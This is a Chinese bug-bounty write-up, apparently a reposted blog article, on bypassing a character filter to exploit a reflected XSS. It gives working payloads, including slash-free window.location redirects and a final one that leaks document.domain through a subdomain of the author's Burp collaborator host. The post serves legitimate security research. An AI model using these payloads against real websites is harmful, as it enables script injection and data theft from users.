网络安全技术 ·

我与xss的有趣故事


文章来源:EDI安全

Part 01

最近,在一个私人的赏金计划中,我发现了一个有趣的XSS漏洞,该漏洞易受攻击的enpoint限制了特殊字符的使用。用户的输入反映在以下内容中:

当可以使用'字符破坏标签时,它看起来像是一个简单的XSS漏洞。通常,以下payload '-alert(0)-'应该可以工作。

Part 02

我发现大多数特殊字符都被过滤掉了(就像插入时从内容中删除一样)。经过最少的模糊处理后,以下特殊字符是唯一通过此enpoint接受并反映出来的字符:

,。=:@#?*%

我试图通过在JSFiddle上进行实验来确认是否仍然可行。我注意到,当反射点与上述代码相同时,我们也可以使用逗号。即',alert(0)'

Part 03

现在,它尚未完成。记住,不允许使用括号。

因此,我试图寻找很多方法执行警报框,因为这是演示XSS漏洞的简便方法。但是,在这种情况下,使用允许的特殊字符似乎无法实现所有方法。.location = name除外

我开始向Slack的人员和我的CTF团队征求意见。通过JSFiddle发现,以下payload似乎是可能的。

还没做完。当我在JSFiddle中进行测试时,这是成功的,但在易受攻击的网站上尝试时却没有。这是因为当它检测到请求是否包含不允许的字符串匹配(例如javascript:document。*)时,它抛出500条错误消息。

进一步的测试发现,我可以通过window.location = http:// url重定向请求。最开始这是失败的,因为// 不允许使用字符。但是,该请求被重定向而不使用斜杠。window.location = http:url 是可能的 

Part 05

在这一阶段,已经足以证明JavaScript的执行。但是,从分类器/客户的角度来看,这似乎就像一个开放的重定向漏洞。我仍然需要证明可以将内容泄露到外部。以下payload应基本正常工作。

',window.location='http:my-url/'%2bdocument.domain%2b,'

但是它没有工作。因为payload再次包含/。在CTF成员johnburn告诉我之前,只需将我想要的内容解析为子域即可 。类似于通过DNS过滤数据

所以最终的payload是:

',window.location='http:'%2bdocument.domain%2b'.my-burp-domain','

参与评论